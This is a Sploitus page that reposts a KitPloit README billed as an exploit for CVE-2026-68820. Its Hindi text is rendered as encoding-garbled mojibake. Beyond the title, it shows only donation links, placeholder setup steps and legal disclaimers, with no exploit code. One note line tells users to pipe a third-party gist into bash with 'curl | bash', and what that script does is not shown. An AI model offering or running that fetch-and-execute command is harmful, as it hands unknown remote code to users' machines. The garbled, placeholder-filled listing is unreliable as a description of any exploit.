Sploitus

Exploit for CVE-2026-68820 CVE-2025-46822 CVE-2026-68820

kitploit ┬╖ 2026-08-26

Exploit Code

MARKDOWN154 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HORKIMHAB-CVE-2026-68820
# cve-id

## рджрд╛рди рдХрд░реЗрдВ

рдЗрд╕ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЗ рд░рдЦрд░рдЦрд╛рд╡ рдореЗрдВ PayPal рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдпрд╛ рдиреАрдЪреЗ рджрд┐рдП рдЧрдП QR рдХреЛрдб рдХреЛ рд╕реНрдХреИрди рдХрд░рдХреЗ рд╕рд╣рд╛рдпрддрд╛ рдХрд░реЗрдВред

![paypal](https://assets.kitploit.com/production/public/readmes/50079/33a91bd6d378215fcd413c279aa88d48bda6c8b2ef7695892777c87de37de256.gif)

![рджрд╛рди рдХреЗ рд▓рд┐рдП QR рдХреЛрдб](https://assets.kitploit.com/production/public/readmes/50079/8547a914397adeef146bb206525c92eb7da797a813c32cfb688d89348a337974.jpg)

## тЪб рд╕рд░рд▓ рдЙрдкрдпреЛрдЧ

рдЗрд╕ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреЗрд╡рд▓ рд╕реБрд░рдХреНрд╖рд┐рдд рдФрд░ рдЕрдзрд┐рдХреГрдд рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдХрд░реЗрдВ, рдЬреИрд╕реЗ:

  * рд╕реНрдерд╛рдиреАрдп рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрдиреЗрдВ
  * Docker рдХрдВрдЯреЗрдирд░
  * рдкреГрдердХ (рдЖрдЗрд╕реЛрд▓реЗрдЯреЗрдб) рд▓реИрдм рд╕реЗрдЯрдЕрдк
  * рдЕрдзрд┐рдХреГрдд рдкреИрда рдкрд░реАрдХреНрд╖рдг (penetration testing) рд╡рд╛рддрд╛рд╡рд░рдг



рдЙрджрд╛рд╣рд░рдг рд╕реЗрдЯрдЕрдк:

root@kitploit:~
    
    
    git clone <repository-url>
    cd <repository-name>
    
    # Project use python follow below
    
    # Create a virtual environment
    python -m venv venv
    
    # Activate the virtual environment
    
    # macOS / Linux
    source venv/bin/activate
    
    # Windows (Git Bash / WSL)
    source venv/Scripts/activate
    
    # Install requirments
    pip install -r requirements.txt
    
    

рдЙрджрд╛рд╣рд░рдг рдЙрдкрдпреЛрдЧ:

root@kitploit:~
    
    
    # Install dependencies
    <install-command>
    
    # Run the project
    <run-command>
    
    # Replace the commands above with your actual project setup steps.
    

рдиреЛрдЯ:

  * рдХрд┐рд╕реА рдЕрдиреНрдп рдкреНрд░реЛрдЬреЗрдХреНрдЯ рд╕реЗ рдХреНрд▓реЛрди рдХрд░рдиреЗ рдкрд░ рдиреЗрд╕реНрдЯреЗрдб .git рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕рд╛рдлрд╝ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ `curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y` рдЪрд▓рд╛рдирд╛ рд╣реЛрдЧрд╛
  * рдЙрджрд╛.: cve-2025-46822.sh, cve-2025-46822-lab.sh, ...



* * *

## рд╢реНрд░реЗрдп рдпрд╛ рд╕рдВрджрд░реНрдн

  * url1



* * *

# ЁЯУЪ рд╢реИрдХреНрд╖рд┐рдХ рд╕реБрд░рдХреНрд╖рд╛ рдЕрдиреБрд╕рдВрдзрд╛рди рднрдВрдбрд╛рд░

рдпрд╣ рдПрдХ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рд╣реИ рдЬреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рд╕рд╛рдЗрдмрд░ рд╕реБрд░рдХреНрд╖рд╛ рдЕрд╡рдзрд╛рд░рдгрд╛рдУрдВ рдХреЛ рд╕реАрдЦрдиреЗ, рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдФрд░ рд╢реЛрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИред

* * *

## тЪая╕П рд╕реБрд░рдХреНрд╖рд╛ рдФрд░ рдХрд╛рдиреВрдиреА рдЕрд╕реНрд╡реАрдХрд░рдг

## рдЙрджреНрджреЗрд╢реНрдп

рдпрд╣ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА **рдХреЗрд╡рд▓ рд╢реИрдХреНрд╖рд┐рдХ рдФрд░ рдЕрдзрд┐рдХреГрдд рд╕реБрд░рдХреНрд╖рд╛ рдЕрдиреБрд╕рдВрдзрд╛рди** рдХреЗ рд▓рд┐рдП рд╣реИред

рдЗрд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдирд┐рдореНрди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реАрдЦрдиреЗ рдореЗрдВ рдорджрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:

  * рд╕реБрд░рдХреНрд╖рд╛ рдХрдордЬреЛрд░рд┐рдпрд╛рдБ
  * рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдФрд░ рдЕрд▓рдЧрд╛рд╡ (isolation) рдЕрд╡рдзрд╛рд░рдгрд╛рдПрдБ
  * рд╕реБрд░рдХреНрд╖рд┐рдд рдХреЛрдбрд┐рдВрдЧ рдФрд░ рд░рдХреНрд╖рд╛рддреНрдордХ рдЕрднреНрдпрд╛рд╕



* * *

## рдХреЗрд╡рд▓ рдЕрдзрд┐рдХреГрдд рдЙрдкрдпреЛрдЧ

рдЗрд╕ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреЗрд╡рд▓ рдЙрдиреНрд╣реАрдВ рд╡рд╛рддрд╛рд╡рд░рдгреЛрдВ рдореЗрдВ рдХрд░реЗрдВ рдЬрд╣рд╛рдБ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЕрдиреБрдорддрд┐ рд╣реЛ, рдЬреИрд╕реЗ:

  * рд╡реНрдпрдХреНрддрд┐рдЧрдд рд▓реИрдм рдпрд╛ рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрдиреЗрдВ
  * Docker рдпрд╛ рдЕрд▓рдЧ-рдерд▓рдЧ (рдЖрдЗрд╕реЛрд▓реЗрдЯреЗрдб) рд╡рд╛рддрд╛рд╡рд░рдг
  * рдЕрдзрд┐рдХреГрдд рдкреИрда рдкрд░реАрдХреНрд╖рдг
  * рд╕рд╛рдЗрдмрд░ рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдпрд╛ рд╢реИрдХреНрд╖рдгрд┐рдХ рд╢реЛрдз



рдЕрдирдзрд┐рдХреГрдд рдпрд╛ рдЕрд╡реИрдз рдЙрдкрдпреЛрдЧ рд╕рдЦреНрдд рд╡рд░реНрдЬрд┐рдд рд╣реИред

* * *

## рдХреЛрдИ рджрд╛рдпрд┐рддреНрд╡ рдирд╣реАрдВ

рдЗрд╕ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЗ рдХрд╛рд░рдг рд╣реЛрдиреЗ рд╡рд╛рд▓реА рдХрд┐рд╕реА рднреА рдХреНрд╖рддрд┐, рджреБрд░реБрдкрдпреЛрдЧ, рдХрд╛рдиреВрдиреА рд╕рдорд╕реНрдпрд╛ рдпрд╛ рд╣рд╛рдирд┐ рдХреЗ рд▓рд┐рдП рд▓реЗрдЦрдХ рдФрд░ рдпреЛрдЧрджрд╛рдирдХрд░реНрддрд╛ **рдЬрд┐рдореНрдореЗрджрд╛рд░ рдирд╣реАрдВ рд╣реИрдВ** ред

рдЗрд╕ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдЖрдк рд╕рд╣рдордд рд╣реЛрддреЗ рд╣реИрдВ рдХрд┐:

  * рдЖрдк рдЕрдкрдиреЗ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╕реНрд╡рдпрдВ рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИрдВ
  * рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд╛рдиреВрдиреА рдФрд░ рдиреИрддрд┐рдХ рд░реВрдк рд╕реЗ рдХрд░реЗрдВрдЧреЗ
  * рдпрд╣ рдкреНрд░реЛрдЬреЗрдХреНрдЯ **рдмрд┐рдирд╛ рдХрд┐рд╕реА рд╡рд╛рд░рдВрдЯреА рдХреЗ** рдкреНрд░рджрд╛рди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ



* * *

## рдиреИрддрд┐рдХ рдЙрдкрдпреЛрдЧ

рдпрд╣ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдирд┐рдореНрди рдХреЗ рд▓рд┐рдП рд╣реИ:

  * рд░рдХреНрд╖рд╛рддреНрдордХ рд╕реБрд░рдХреНрд╖рд╛ рдЕрдиреБрд╕рдВрдзрд╛рди
  * рд╕рд╛рдЗрдмрд░ рд╕реБрд░рдХреНрд╖рд╛ рд╢рд┐рдХреНрд╖рд╛
  * рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдкреНрд░рддрд┐ рдЬрд╛рдЧрд░реВрдХрддрд╛
  * рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рд┐рд╕реНрдЯрдо рдФрд░ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдЕрдиреБрд╕рдВрдзрд╛рди



рдХреГрдкрдпрд╛ рдЬрд┐рдореНрдореЗрджрд╛рд░ рдкреНрд░рдХрдЯреАрдХрд░рдг (responsible disclosure) рдкреНрд░рдерд╛рдУрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ рдФрд░ рд╕рднреА рд▓рд╛рдЧреВ рдХрд╛рдиреВрдиреЛрдВ рдХрд╛ рдЕрдиреБрдкрд╛рд▓рди рдХрд░реЗрдВред

* * *

## рд╕рдВрдкрд░реНрдХ

рдЬрд┐рдореНрдореЗрджрд╛рд░ рдкреНрд░рдХрдЯреАрдХрд░рдг рдпрд╛ рд╕рд╣рдпреЛрдЧ рдХреЗ рд▓рд┐рдП, GitHub рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдХреЗ рдЕрдиреБрд░рдХреНрд╖рдХ рд╕реЗ рд╕рдВрдкрд░реНрдХ рдХрд░реЗрдВред

* * *

## рд╕рдВрдмрдВрдзрд┐рдд рдкреНрд░реЛрдЬреЗрдХреНрдЯ

рдЕрдзрд┐рдХреГрдд рд╕реБрд░рдХреНрд╖рд╛ рдЕрдиреБрд╕рдВрдзрд╛рди рдФрд░ рд╢рд┐рдХреНрд╖рд╛ рд╣реЗрддреБ рдЕрддрд┐рд░рд┐рдХреНрдд CVE рдкреНрд░реВрдл-рдСрдл-рдХреЙрдиреНрд╕реЗрдкреНрдЯ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд▓рд┐рдП PoC CVE Collection рджреЗрдЦреЗрдВред